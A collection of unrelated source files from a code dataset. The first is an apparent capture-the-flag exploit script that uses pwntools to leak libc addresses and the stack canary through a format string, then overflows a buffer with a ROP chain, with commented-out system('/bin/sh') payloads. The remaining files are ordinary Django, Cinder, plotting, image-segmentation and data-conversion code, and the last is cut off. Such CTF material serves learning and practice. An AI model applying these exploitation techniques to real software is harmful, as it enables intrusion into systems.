+{"seq_id":"45055148","text":"from pwn import *\n\nlibc_offset = 0x1eb723\npie_offset = 0x1570 \nret_offset = 0x1525\nmain_offset = 0x1526\n\npop_rdi_offset = 0x015d3\n\nbinsh_offset = 0x1b6613\nsystem_offset = 0x49a50\nsystem_offset = 0x554e0\nexit_offset = 0x3f090\nexit_offset = 0xe5fb0\n\nflag = \"SCG{NOW_GET_VOLDEMORT}\"\n#all addresses up to 49\nleak = \"AAAA %1$lp %3$lp %8$lp %39$lp %40$lp %42$lp %44$lp %45$lp %47$lp BBBB\"\nspell = \"Expelliarmus\\x00\"\n\n#p = remote(\"172.17.0.4\",1024)\n#p = remote(\"hax1.allesctf.net\",9102)\np = process(\"./pwn3\")\n\nprint(p.recvline())\np.sendline(flag)\nprint(p.recvuntil(\"name:\"))\np.sendline(leak)\ntmp = p.recvuntil(\"spell:\")\n\nprint(tmp.split())\n\npad = cyclic(0xff+0xf)\ntmp = tmp.split()\nIOstdout = int(tmp[-14],16) - 131 #offset 0x1eb6a0\nGIlibcwrite = int(tmp[-13],16) - 23 #offset 0x111300\nlibcstartmain = int(tmp[-7],16) - 243 #offset 0x270f0\nlog.info(\"Stack Canary: {}\".format(tmp[4]))\nlog.info(\"<_IO_2_1_stdout_>@libc: {}\".format(hex(IOstdout)))\nlog.info(\"<__GI___libc_write>@libc: {}\".format(hex(GIlibcwrite)))\nlog.info(\"<__libc_start_main>@libc: {}\".format(hex(libcstartmain)))\n\nraw_input(\"Exploit ?\")\nidx = cyclic_find(\"cnaacoaa\")\n\nprint(p.clean()) # clean socket buffer (read all and print)\np.sendline(spell+pad[:idx]+p64(canary)+\"BBBBBBBB\"+p64(pop_rdi)+p64(LIBC_START_MAIN)+p64(PUTS)+p64(MAIN))\nprint(p.recvline())\n#p.sendline(spell+pad[:idx]+p64(canary)+\"BBBBBBBB\"+p64(ret)+p64(pop_rdi)+p64(bin_sh)+p64(system))\n#p.sendline(spell+pad[:idx]+p64(canary)+p64(exit)+p64(ret)+p64(pop_rdi)+p64(system)+p64(exit)+p64(bin_sh))#+p64(system))\n#p.interactive()\np.clean()\np.close()\n\n'''\nREMOTe\n[*] <_IO_2_1_stdout_>@libc: 0x7fc73035b6a0\n[*] <__GI___libc_write>@libc: 0x7fc730281300\n[*] <__libc_start_main>@libc: 0x7fc7301970f0\n\nLOCAL\n[*] <_IO_2_1_stdout_>@libc: 0x7fc73035b6a0\n[*] <__GI___libc_write>@libc: 0x7fc730281300\n[*] <__libc_start_main>@libc: 0x7fc7301970f0\n'''","sub_path":"cscg/pwn/pwn3/leak.py","file_name":"leak.py","file_ext":"py","file_size_in_byte":1856,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"623743327","text":"import os\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import scoped_session, sessionmaker\n\nengine = create_engine(os.getenv(\"DATABASE_URL\"))\ndb = scoped_session(sessionmaker(bind=engine))\n\ndef main():\n    list = db.execute(\"SELECT * FROM books JOIN authors ON authors.id = books.author_id\").fetchall()\n    for row in list:\n        print(f\"{row.isbn} - {row.title} - {row.author} - {row.year}\")\n\nif __name__ == \"__main__\":\n    main()\n","sub_path":"list.py","file_name":"list.py","file_ext":"py","file_size_in_byte":447,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"411227030","text":"# Copyright 2013 Canonical Ltd.\n# All Rights Reserved.\n#\n#    Licensed under the Apache License, Version 2.0 (the \"License\"); you may\n#    not use this file except in compliance with the License. You may obtain\n#    a copy of the License at\n#\n#         http://www.apache.org/licenses/LICENSE-2.0\n#\n#    Unless required by applicable law or agreed to in writing, software\n#    distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT\n#    WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the\n#    License for the specific language governing permissions and limitations\n#    under the License.\n\"\"\" Tests for create_volume TaskFlow \"\"\"\n\nimport mock\n\nfrom cinder import context\nfrom cinder import exception\nfrom cinder import test\nfrom cinder.tests.unit import fake_consistencygroup\nfrom cinder.tests.unit import fake_snapshot\nfrom cinder.tests.unit import fake_volume\nfrom cinder.tests.unit.volume.flows import fake_volume_api\nfrom cinder.volume.flows.api import create_volume\nfrom cinder.volume.flows.manager import create_volume as create_volume_manager\n\n\nclass CreateVolumeFlowTestCase(test.TestCase):\n\n    def time_inc(self):\n        self.counter += 1\n        return self.counter\n\n    def setUp(self):\n        super(CreateVolumeFlowTestCase, self).setUp()\n        self.ctxt = context.get_admin_context()\n        self.counter = float(0)\n\n        # Ensure that time.time() always returns more than the last time it was\n        # called to avoid div by zero errors.\n        self.counter = float(0)\n\n    @mock.patch('time.time', side_effect=time_inc)\n    @mock.patch('cinder.objects.ConsistencyGroup.get_by_id')\n    def test_cast_create_volume(self, consistencygroup_get_by_id, mock_time):\n        props = {}\n        consistencygroup_obj = \\\n            fake_consistencygroup.fake_consistencyobject_obj(\n                self.ctxt, consistencygroup_id=1, host=None)\n        consistencygroup_get_by_id.return_value = consistencygroup_obj\n        spec = {'volume_id': None,\n                'source_volid': None,\n                'snapshot_id': None,\n                'image_id': None,\n                'source_replicaid': None,\n                'consistencygroup_id': None,\n                'cgsnapshot_id': None}\n\n        # Fake objects assert specs\n        task = create_volume.VolumeCastTask(\n            fake_volume_api.FakeSchedulerRpcAPI(spec, self),\n            fake_volume_api.FakeVolumeAPI(spec, self),\n            fake_volume_api.FakeDb())\n\n        task._cast_create_volume(self.ctxt, spec, props)\n\n        spec = {'volume_id': 1,\n                'source_volid': 2,\n                'snapshot_id': 3,\n                'image_id': 4,\n                'source_replicaid': 5,\n                'consistencygroup_id': 5,\n                'cgsnapshot_id': None}\n\n        # Fake objects assert specs\n        task = create_volume.VolumeCastTask(\n            fake_volume_api.FakeSchedulerRpcAPI(spec, self),\n            fake_volume_api.FakeVolumeAPI(spec, self),\n            fake_volume_api.FakeDb())\n\n        task._cast_create_volume(self.ctxt, spec, props)\n        consistencygroup_get_by_id.assert_called_once_with(self.ctxt, 5)\n\n\nclass CreateVolumeFlowManagerTestCase(test.TestCase):\n\n    def setUp(self):\n        super(CreateVolumeFlowManagerTestCase, self).setUp()\n        self.ctxt = context.get_admin_context()\n\n    @mock.patch('cinder.volume.flows.manager.create_volume.'\n                'CreateVolumeFromSpecTask.'\n                '_handle_bootable_volume_glance_meta')\n    @mock.patch('cinder.objects.Snapshot.get_by_id')\n    def test_create_from_snapshot(self, snapshot_get_by_id, handle_bootable):\n        fake_db = mock.MagicMock()\n        fake_driver = mock.MagicMock()\n        fake_manager = create_volume_manager.CreateVolumeFromSpecTask(\n            fake_db, fake_driver)\n        volume = fake_volume.fake_db_volume()\n        orig_volume_db = mock.MagicMock(id=10, bootable=True)\n        snapshot_obj = fake_snapshot.fake_snapshot_obj(self.ctxt)\n        snapshot_get_by_id.return_value = snapshot_obj\n        fake_db.volume_get.return_value = orig_volume_db\n\n        fake_manager._create_from_snapshot(self.ctxt, volume,\n                                           snapshot_obj.id)\n        fake_driver.create_volume_from_snapshot.assert_called_once_with(\n            volume, snapshot_obj)\n        fake_db.volume_get.assert_called_once_with(self.ctxt,\n                                                   snapshot_obj.volume_id)\n        handle_bootable.assert_called_once_with(self.ctxt, volume['id'],\n                                                snapshot_id=snapshot_obj.id)\n\n    @mock.patch('cinder.objects.Snapshot.get_by_id')\n    def test_create_from_snapshot_update_failure(self, snapshot_get_by_id):\n        fake_db = mock.MagicMock()\n        fake_driver = mock.MagicMock()\n        fake_manager = create_volume_manager.CreateVolumeFromSpecTask(\n            fake_db, fake_driver)\n        volume = fake_volume.fake_db_volume()\n        snapshot_obj = fake_snapshot.fake_snapshot_obj(self.ctxt)\n        snapshot_get_by_id.return_value = snapshot_obj\n        fake_db.volume_get.side_effect = exception.CinderException\n\n        self.assertRaises(exception.MetadataUpdateFailure,\n                          fake_manager._create_from_snapshot, self.ctxt,\n                          volume, snapshot_obj.id)\n        fake_driver.create_volume_from_snapshot.assert_called_once_with(\n            volume, snapshot_obj)\n","sub_path":"cinder/tests/unit/volume/flows/test_create_volume_flow.py","file_name":"test_create_volume_flow.py","file_ext":"py","file_size_in_byte":5449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"620354303","text":"#!/usr/bin/python3\n\nimport subprocess\nimport os\nimport sys\nimport time\nimport unittest\nimport tarfile\n\n# Pick a unique port for this user\nPORT = str(50000+int(os.getenv('SSH_TTY').split('/')[3]))\n\ndef run(cmd):\n    \"\"\"Run a command with given parameters return the return code, stdout and stderr\"\"\"\n    result = subprocess.run(\n        cmd,\n        stdout=subprocess.PIPE,\n        stderr=subprocess.PIPE)\n    out = result.stdout.decode('utf-8')\n    err = result.stderr.decode('utf-8')\n    return result.returncode, out, err\n\n\n    def runin(cmd, stdin):\n        \"\"\"Run a command with given parameters and given input return the return code\"\"\"\n        result = subprocess.Popen(cmd,stdin=subprocess.PIPE)\n        result.wait()\n        return result.returncode\n\n\n    def run_server():\n        \"\"\"Run the server\"\"\"\n        pid = subprocess.Popen([\"./server\", \"-p\", PORT]).pid\n        # Give the server time to start\n        time.sleep(0.1)\n        return pid\n\n\n    def kill_server(pid):\n        \"\"\"kill the server\"\"\"\n        subprocess.run([\"kill\", str(pid)])\n\n\nclass TestCases(unittest.TestCase):\n\n    def setUp(self):\n        \"\"\"Run before every test\"\"\"\n        print(\"setUp()\", os.path.exists('./testdatas'))\n        if not os.path.exists('./testdatas'):\n            print('Creating server test data directory')\n            os.mkdir('./testdatas')\n        if not os.path.exists('./testdatac'):\n            print('Creating client test data directory')\n            os.mkdir('./testdatac')\n        if os.path.exists('testdata.tar'):\n            print('Extracting test data')\n            tar = tarfile.open('testdata.tar')\n            tar.extractall()\n            tar.close()\n        else:\n            print('No testdata.tar file found!', file=sys.stderr)\n\n    def tearDown(self):\n        \"\"\"Run after every test\"\"\"\n        pass\n\n    def test_nothing(self):\n        pass\n\n    def test_server_no_port(self):\n        \"\"\"Verify the server error when no port\"\"\"\n        (code, out, err) = run([\"./server\"]);\n        self.assertEqual(code, 1)\n\n    def test_client_no_host(self):\n        \"\"\"Verify the client error when no port\"\"\"\n        (code, out, err) = run([\"./client\", \"-p\",\"12345\", \"hello.txt\"]);\n        self.assertEqual(code, 1)\n\n    def test_client_no_port(self):\n        \"\"\"Verify the client error when no port\"\"\"\n        (code, out, err) = run([\"./client\", \"-h\",\"localhost\", \"hello.txt\"]);\n        self.assertEqual(code, 1)\n\n#    def test_first_server_test(self):\n#        \"\"\"Verify the server outputs are as expected\"\"\"\n#        (code, out, err) = run([\"./server\", \"-p\", \"12345\"]);\n#        self.assertEqual(code, 0)\n#        self.assertEqual(out, 'PORT: 12345\\n')\n#        self.assertEqual(err, '')\n#\n#    def test_first_client_test(self):\n#        \"\"\"Verify the client outputs are as expected\"\"\"\n#        (code, out, err) = run([\"./client\", \"-h\",\"localhost\", \"-p\",\"12345\", \"hello.txt\"]);\n#        self.assertEqual(code, 0)\n#        self.assertEqual(out, 'HOST: localhost PORT: 12345 hello.txt\\n')\n#        self.assertEqual(err, '')\n#\n#    def test_first_client_server(self):\n#        pid = run_server()\n#        code = runin([\"./client\", \"-p\", PORT, \"-h\", \"localhost\"], \"quit\\n\")\n#        self.assertEqual(code, 0)\n#        kill_server(pid)\n\n\nif __name__ == '__main__':\n    print(\"Port:\",PORT)\n    unittest.main()\n","sub_path":"cst-240-Unix/Lab6/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3318,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"75968700","text":"from __future__ import unicode_literals\n\nfrom django.db import models\nfrom django.contrib.auth.models import User\nfrom product.models import Product, Category\nfrom django.template.defaultfilters import slugify\n\n# Create your models here.\n\n\ndef get_file_path(instance, filename):\n    return \"files/auraai/\" + str(instance.id) + \"_\" + filename\n\n\ndef f(instance, filename):\n    return \"files/tag/banner\" + filename\n\n\nclass UserImage(models.Model):\n    FOCUS_ON = (\n        (\"TOP\", \"top\"),\n        (\"BOTTOM\", \"bottom\"),\n        (\"WHOLE\", \"whole\")\n    )\n    url = models.URLField(max_length=2000, blank=True)\n    imported_from = models.CharField(max_length=200, blank=True)\n    uploader = models.ForeignKey(User, blank=True, null=True)\n    upload_date = models.DateField(auto_now=False, auto_now_add=True)\n    image_for = models.CharField(\n        max_length=60, blank=True, choices=FOCUS_ON, default=FOCUS_ON[2])\n    active = models.BooleanField(default=True)\n    likes_top = models.IntegerField(default=0)\n    likes_bottom = models.IntegerField(default=0)\n    likes_whole = models.IntegerField(default=0)\n    dislike = models.IntegerField(default=0)\n    priority = models.IntegerField(default=0)\n    riplicable = models.BooleanField(default=True)\n    photo = models.ImageField(upload_to=get_file_path, blank=True, null=True)\n    relevent = models.BooleanField(default=True)\n\n\nclass UserPhysique(models.Model):\n    BODY_TYPE_CHOICE = (\n        (\"AVERAGE\", \"average\"),\n        (\"EXTRA\", \"extra\"),\n        (\"ATHLETIC\", \"athletic\"),\n        (\"SLIM\", \"slim\"),\n        (\"BIG&BOLD\", \"big&bold\"),\n        (\"MUSCULAR\", \"muscular\")\n    )\n    HAIR_COLOR_CHOICE = (\n        (\"BLACK\", \"black\"),\n        (\"BROWN\", \"brown\"),\n        (\"GREEN\", \"green\"),\n        (\"BLUE\", \"BLUE\"),\n        (\"GREY\", \"grey\"),\n        (\"HAZEL\", \"hazel\")\n    )\n    EYE_COLOR_CHOICE = (\n        (\"BLACK\", \"black\"),\n        (\"BROWN\", \"brown\"),\n        (\"RED\", \"red\"),\n        (\"BLOND\", \"blond\"),\n        (\"GREY\", \"grey\"),\n        (\"WHITE\", \"white\"),\n        (\"SHAVED\", \"shaved\"),\n        (\"DYED\", \"dyed\"),\n        (\"BULD\", \"buld\")\n    )\n    GENDER_CHOICE = (\n        (\"MALE\", \"male\"),\n        (\"FEMALE\", \"female\"),\n        (\"OTHER\", \"other\")\n    )\n    user = models.ForeignKey(User, blank=True, null=True)\n    create_date = models.DateField(auto_now=False, auto_now_add=True)\n    height = models.IntegerField(default=0)\n    weight = models.IntegerField(default=0)\n    body_type = models.CharField(\n        max_length=60, blank=True, choices=BODY_TYPE_CHOICE, default=BODY_TYPE_CHOICE[0])\n    hair_color = models.CharField(\n        max_length=60, blank=True, choices=HAIR_COLOR_CHOICE, default=HAIR_COLOR_CHOICE[0])\n    eye_color = models.CharField(\n        max_length=60, blank=True, choices=EYE_COLOR_CHOICE, default=EYE_COLOR_CHOICE[0])\n    gender = models.CharField(\n        max_length=20, blank=True, choices=GENDER_CHOICE, default=GENDER_CHOICE[0])\n    age = models.IntegerField(default=1)\n\n\nclass UserFbLikes(models.Model):\n    user = models.ForeignKey(User, blank=False, null=False)\n    fb_page = models.CharField(max_length=300, blank=True)\n    page_id = models.CharField(max_length=30, blank=True)\n\n\nclass UserFbDetails(models.Model):\n    user = models.ForeignKey(User, blank=False, null=False)\n    user_email = models.EmailField(max_length=260, blank=True)\n    fb_id = models.CharField(max_length=30, blank=True)\n    token = models.CharField(max_length=300, blank=True)\n\n\nclass Tag(models.Model):\n    category = models.ForeignKey(Category)\n    tag = models.CharField(max_length=150, blank=False)\n\n    def __str__(self):\n        return self.tag\n\n    def __unicode__(self):\n        return self.tag\n\n\nclass ProductTagMap(models.Model):\n    product = models.ForeignKey(Product)\n    tag = models.ForeignKey(Tag)\n\n    def __str__(self):\n        return str(self.product) + '-' + str(self.tag)\n\n    def __unicode__(self):\n        return str(self.product) + '-' + str(self.tag)\n\n\nclass TagBanner(models.Model):\n    banner_name = models.CharField(max_length=50, blank=False)\n    tags = models.ManyToManyField(Tag)\n    active = models.BooleanField(default=True)\n    slug = models.SlugField(max_length=200, blank=True, null=True)\n    banner_image = models.ImageField(upload_to=f,\n                                     default='uploads/blogimages/dummy.jpg',\n                                     blank=True,\n                                     null=True)\n\n    def save(self, *args, **kwargs):\n        if not self.slug:\n            self.slug = slugify(self.banner_name)\n        super(TagBanner, self).save(*args, **kwargs)\n\n    def __str__(self):\n        return self.banner_name + str(' Active' if self.active else ' Deactive')\n\n    def __unicode__(self):\n        return self.banner_name + str(' Active' if self.active else ' Deactive')\n","sub_path":"auraai/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":4790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"76269960","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Mar  9 22:50:40 2017\n\n@author: sthar\n\"\"\"\n\n__author__ = 'Bharat'\nfrom skimage.segmentation import slic\nfrom skimage import io\nimport numpy as np\nimport time\nimport os\n\n\n########### PARAMETER DEFINITION #############\nrgb_dir = '..\\dataset\\CITYSCAPE\\RGB\\\\' # Location of folder containing the RGB images of the dataset\nSLIC_dir = '..\\dataset\\CITYSCAPE\\SLIC\\\\'\n\nlist_start = 1001\nlist_end = 1499\n\nnumSegments = 2000\n\nsigma = 2  # Sigma value of Gaussian Smoothening Applied before SLIC\n\n############################################\n\n#### Main Part of Program START ###########\n\nprint('Starting SLIC with List no {0} until {1}'.format(list_start, list_end))\n\nstart_time = time.time()\n\n# Get List of RGB Image files from directory (relative location)\nlist_files = os.listdir(rgb_dir)\nlist_files.sort()\n\nfor im_no in range(list_start, list_end+1):\n    image = io.imread(rgb_dir+list_files[im_no])\n    segments = slic(image, n_segments = numSegments, sigma = sigma)\n    np.save(SLIC_dir + list_files[im_no].rsplit(\".\",1)[0] + '.npy',segments)\n    print(im_no)\n\nend_time = time.time()\n\nprint('{0} Files Processed. Time Taken: {1}'.format(list_end-list_start+1, end_time-start_time))","sub_path":"utils/SuperPixel_Batch_Cityscapes.py","file_name":"SuperPixel_Batch_Cityscapes.py","file_ext":"py","file_size_in_byte":1216,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"451354558","text":"# Copyright (c) 2012-2021, Mark Peek \n# All rights reserved.\n#\n# See LICENSE file for full license.\n\nfrom typing import Optional\n\nfrom .aws import Action as BaseAction\nfrom .aws import BaseARN\n\nservice_name = \"Amazon DataZone\"\nprefix = \"datazone\"\n\n\nclass Action(BaseAction):\n    def __init__(self, action: Optional[str] = None) -> None:\n        super().__init__(prefix, action)\n\n\nclass ARN(BaseARN):\n    def __init__(self, resource: str = \"\", region: str = \"\", account: str = \"\") -> None:\n        super().__init__(\n            service=prefix, resource=resource, region=region, account=account\n        )\n\n\nGetProject = Action(\"GetProject\")\nGetProjectConfiguration = Action(\"GetProjectConfiguration\")\nGetProjectCredentials = Action(\"GetProjectCredentials\")\nListProjects = Action(\"ListProjects\")\nListUserProjects = Action(\"ListUserProjects\")\n","sub_path":"awacs/datazone.py","file_name":"datazone.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"36019655","text":"# this module will host a bunch of helper functions while we figure what all we can fo with the graph api.\n# once we figure that out, we will re-organize this module\nimport matplotlib.pyplot as plt\nplt.rcdefaults()\nimport numpy as np\n\ndef read_access_token_from_file(local_file_name):\n    with open(local_file_name, \"r\") as fid:\n        return fid.readline()\n    \ndef convert_time_zone(from_date_time, from_zone='UTC', to_zone='America/New_York'):\n    from datetime import datetime\n    from dateutil import tz\n    from_zone, to_zone = tz.gettz(from_zone), tz.gettz(to_zone)\n    # Tell the datetime object that it's in from_zone time zone since datetime objects are 'naive' by default    \n    from_date_time = from_date_time.replace(tzinfo=from_zone)\n    return from_date_time.astimezone(to_zone)\n\ndef plot_bar_chart(objects, values, y_label, title, x_label_rotation=70, x_label_fontsize=8):\n    y_pos = np.arange(len(objects))\n    plt.bar(y_pos, values, align='center', alpha=0.5)\n    plt.xticks(y_pos, objects, rotation=x_label_rotation, fontsize=x_label_fontsize)\n    plt.ylabel(y_label)\n    plt.title(title)\n    plt.grid()\n    plt.show()    \n    return\n\ndef plot_pie_chart(values, labels, title, explode=None, show_legend=True, hide_labels_in_chart=False, smart_legends = False):\n    explode = explode if explode else [0.0 for _ in labels]\n    if hide_labels_in_chart:\n        plt.pie(values, explode=explode, startangle=90)\n    else:\n        plt.pie(values, labels=labels, explode=explode, startangle=90)        \n    if show_legend:\n        if smart_legends:\n            total_sum = sum(values)\n            smart_legend_labels = []\n            for value, label in zip(values, labels):\n                percentage = ''.join([str(round(value*100/total_sum, 2)), '%'])\n                smart_label = \"%s: (%s, %s).\"%(label, str(percentage), value)\n                smart_legend_labels.append(smart_label)\n            plt.legend(labels=smart_legend_labels)\n        else:\n            plt.legend(labels=labels)            \n    plt.title(title)\n    plt.show()    \n    return","sub_path":"common.py","file_name":"common.py","file_ext":"py","file_size_in_byte":2068,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"470763397","text":"#/usr/bin/python\r\n#coding:utf-8\r\n\r\n\r\nimport os\r\nimport struct\r\nfrom sys import exit\r\nimport sys\r\nimport csv\r\n\r\nimport numpy\r\nimport numpy as np\r\n\r\n\r\nimport tkinter\r\nimport tkinter.filedialog\r\nfrom time import sleep\r\n\r\nprint('jwsファイルをcsvに一括変換します')\r\nsleep(0.5)\r\nprint('csvファイルはdataフォルダに保存されます')\r\nsleep(0.5)\r\nprint('　')\r\n\r\n#######################################################################################\r\nfor i in range(3):\r\n    try:\r\n        print('測定開始波長（低波長側）を入力してください。 デフォルト値：300 ')\r\n        x_for_first_point = input()\r\n        if x_for_first_point == \"\":\r\n            x_for_first_point = 300\r\n        \r\n        x_for_first_point = int(x_for_first_point)\r\n\r\n        print('測定開始波長（高波長側）を入力してください。　デフォルト値：2500')\r\n        x_for_last_point = input()\r\n        if x_for_last_point == \"\":\r\n            x_for_last_point = 2500\r\n\r\n        x_for_last_point = int(x_for_last_point)\r\n\r\n        print('測定波長刻みを入力してください。　デフォルト値：5')\r\n        x_step = input()\r\n        if x_step == \"\":\r\n            x_step = 5\r\n        x_step = int(x_step)\r\n\r\n        # (2500-300)/ 5 + 1 = 441 *測定波長の数\r\n        x_point_number = (x_for_last_point - x_for_first_point) / x_step + 1\r\n        \r\n    except:\r\n        if i!=2:\r\n            print('入力データが整数値ではありません。再度入力してください')\r\n    else:\r\n        break\r\nelse:\r\n    print('入力データが整数値ではありません。プログラムを終了します。')\r\n    sleep(2)\r\n    exit()\r\n\r\nprint('')\r\nprint('測定開始波長',x_for_first_point)\r\nprint('測定終了波長',x_for_last_point)\r\nprint('測定波長刻み',x_step)\r\nsleep(0.5)\r\n\r\n#######################################################################################\r\nfor i in range(3):\r\n    try:\r\n        print('S偏光データとP偏光データを合成しますか。yes/no デフォルト値：yes ')\r\n        answer = input()\r\n        if answer in ['yes','y','ye','']:\r\n            is_synthesizing = True\r\n            sleep(0.2)\r\n            print('S偏光データとP偏光データを合成します')\r\n\r\n        elif answer in ['no','n']:\r\n            is_synthesizing = False\r\n            sleep(0.2)\r\n            print('データを合成しません')\r\n    except:\r\n        if i!=2:\r\n            print('再度入力してください')\r\n    else:\r\n        break\r\nelse:\r\n    print('プログラムを終了します。')\r\n    sleep(2)\r\n    exit()\r\n\r\n\r\n#######################################################################################\r\n\r\ntk = tkinter.Tk()\r\ntk.withdraw()\r\ncurrentdirectory = os.getcwd()\r\n\r\nprint('jwsファイルを選んでください')\r\nsleep(0.3)\r\n\r\njwsfile_path  = tkinter.filedialog.askopenfilename(initialdir = currentdirectory, \r\ntitle = 'jwsファイルを１つ選択してください。　同フォルダ内のすべてのjwsファイルを変換します。', filetypes = [('jws File', '*.jws')])\r\njwsfolder_path = os.path.dirname(jwsfile_path)\r\nos.chdir(jwsfolder_path)\r\n\r\ntry:\r\n    filelist = os.walk(jwsfolder_path).__next__()[2]\r\nexcept:\r\n    filelist = os.walk(jwsfolder_path).next()[2]\r\n\r\n#拡張子が.jwsであるファイルを抽出\r\nfilelist_jws = [os.path.splitext(i)[0] for i in filelist if os.path.splitext(i)[1]=='.jws']\r\n\r\n#ファイル名末尾がs-1やp-1であるファイルを抽出\r\nfilelist_jws_s = [i for i in filelist_jws if i[-3:] == 's-1' or i[-3:] == 'S-1']\r\nfilelist_jws_p = [i for i in filelist_jws if i[-3:] == 'p-1' or i[-3:] == 'P-1']\r\n\r\n#ファイル名末尾がs-1やp-1であるファイルを抽出し、末尾を除いたファイル名を取得\r\n#.lowerで大文字を全て小文字に変換\r\nfilelist_jws_s_ext = [i[:-3].lower() for i in filelist_jws if i[-3:] == 's-1' or i[-3:] == 'S-1']\r\nfilelist_jws_p_ext = [i[:-3].lower() for i in filelist_jws if i[-3:] == 'p-1' or i[-3:] == 'P-1']\r\n\r\n#S偏光、P偏光データの共通ファイル名が等しいファイルを抽出\r\nfilelist_s_p = set(filelist_jws_s_ext) & set(filelist_jws_p_ext)\r\n\r\n# データを格納するフォルダを作成する\r\nif os.path.exists(\"data\") == False:\r\n    try:\r\n        os.mkdir(\"data\")\r\n        print(\"dataフォルダを作成しました\")\r\n    except:\r\n        print(\"dataフォルダの作成に失敗しました\")\r\nelse:\r\n        print(\"dataフォルダはすでに存在しています\")\r\n        \r\n# データを格納するフォルダを作成する\r\nif os.path.exists(\"data-SP\") == False:\r\n    try:\r\n        os.mkdir(\"data-SP\")\r\n        print(\"data-SPフォルダを作成しました\")\r\n    except:\r\n        print(\"data-SPフォルダの作成に失敗しました\")\r\nelse:\r\n        print(\"data-SPフォルダはすでに存在しています\")\r\n\r\n\r\nwavelength_csv = numpy.arange(x_for_last_point, x_for_first_point - x_step, -x_step)\r\nwavelength_csv = numpy.array(wavelength_csv, ndmin=2)\r\n\r\nheader_allcsv = ['wavelength']\r\nheader_allcsv_s_p = ['wavelength']\r\nbody_allcsv = wavelength_csv.T\r\nbody_allcsv_s_p = wavelength_csv.T\r\n\r\nsleep(0.3)\r\nprint('変換を開始します')\r\nsleep(0.3)\r\n\r\n# 各ファイルごとに処理をする\r\nfor filename in filelist_jws:\r\n\r\n    with open(filename + \".jws\", \"rb\") as f:\r\n        # xの開始、終端、ステップをヘッダーから取得する。\r\n        print(\"filename: \" , filename)\r\n\r\n        # intensityデータを取得する\r\n        # バイナリデータにおいてデータが始まるアドレスが0xC80、0xE00の2パターンありそう\r\n        #0xC80から始まる場合は、0xB80 から4D 00 6F 00 64 00 75 のバイナリデータ\r\n        #0xE00から始まる場合は、0xD80 から4D 00 6F 00 64 00 75 のバイナリデータ\r\n        #上記をもとに条件分岐する\r\n        \r\n        \r\n        data = \"\"\r\n\r\n\r\n        is_datainfo_A00 = False\r\n        \r\n        is_blank_C00 = False\r\n        is_blank_C40 = False\r\n        is_blank_C80 = False\r\n        \r\n        \r\n        is_data_C00 = False\r\n        is_data_C40 = False\r\n        is_data_C80 = False\r\n        \r\n        \r\n        is_datainfo_C00 = False\r\n        is_AC0 = False\r\n        \r\n        x_A00 = \"\"\r\n        x_AC0 = \"\"\r\n\r\n        x_C00 = \"\"\r\n        x_C01 = \"\"\r\n        x_C02 = \"\"\r\n        x_C03 = \"\"\r\n        x_C04 = \"\"\r\n        x_C05 = \"\"\r\n        x_C06 = \"\"\r\n\r\n        x_C40 = \"\"\r\n        x_C41 = \"\"\r\n        x_C42 = \"\"\r\n        x_C43 = \"\"\r\n        x_C44 = \"\"\r\n        x_C45 = \"\"\r\n        x_C46 = \"\"\r\n\r\n        x_C80 = \"\"\r\n        x_C81 = \"\"\r\n        x_C82 = \"\"\r\n        x_C83 = \"\"\r\n        x_C84 = \"\"\r\n        x_C85 = \"\"\r\n        x_C86 = \"\"\r\n\r\n\r\n\r\n\r\n        f.seek(0xA00)\r\n        x_A00 = f.read(8)\r\n        #print('x_A00')\r\n        #print(x_A00)\r\n        if x_A00 == b'D\\x00a\\x00t\\x00a\\x00':\r\n            #print('x_A00')\r\n            #print(x_A00)\r\n            is_datainfo_A00 = True\r\n            #print('datainfo start at A00')\r\n\r\n\r\n        f.seek(0xC00)\r\n        x_C00 = f.read(1)\r\n        f.seek(0xC01)\r\n        x_C01 = f.read(1)\r\n        f.seek(0xC02)\r\n        x_C02 = f.read(1)\r\n        f.seek(0xC03)\r\n        x_C03 = f.read(1)\r\n        f.seek(0xC04)\r\n        x_C04 = f.read(1)\r\n        f.seek(0xC05)\r\n        x_C05 = f.read(1)\r\n        f.seek(0xC06)\r\n        x_C06 = f.read(1)\r\n\r\n\r\n        if  1*(x_C00 == b'\\x00') +\\\r\n            1*(x_C01 == b'\\x00') +\\\r\n            1*(x_C02 == b'\\x00') +\\\r\n            1*(x_C03 == b'\\x00') +\\\r\n            1*(x_C04 == b'\\x00') +\\\r\n            1*(x_C05 == b'\\x00') +\\\r\n            1*(x_C06 == b'\\x00') >= 3:\r\n\r\n            is_blank_C00 = True\r\n            #print('C00 is blank')\r\n        else :\r\n            pass\r\n            #print('C00 is not blank')\r\n\r\n        # check the C40 - C45\r\n        f.seek(0xC40)\r\n        x_C40 = f.read(1)\r\n        f.seek(0xC41)\r\n        x_C41 = f.read(1)\r\n        f.seek(0xC42)\r\n        x_C42 = f.read(1)\r\n        f.seek(0xC43)\r\n        x_C43 = f.read(1)\r\n        f.seek(0xC44)\r\n        x_C44 = f.read(1)\r\n        f.seek(0xC45)\r\n        x_C45 = f.read(1)\r\n        f.seek(0xC46)\r\n        x_C46 = f.read(1)\r\n\r\n        if  1*(x_C40 == b'\\x00') +\\\r\n            1*(x_C41 == b'\\x00') +\\\r\n            1*(x_C42 == b'\\x00') +\\\r\n            1*(x_C43 == b'\\x00') +\\\r\n            1*(x_C44 == b'\\x00') +\\\r\n            1*(x_C45 == b'\\x00') +\\\r\n            1*(x_C46 == b'\\x00') >= 3:\r\n\r\n            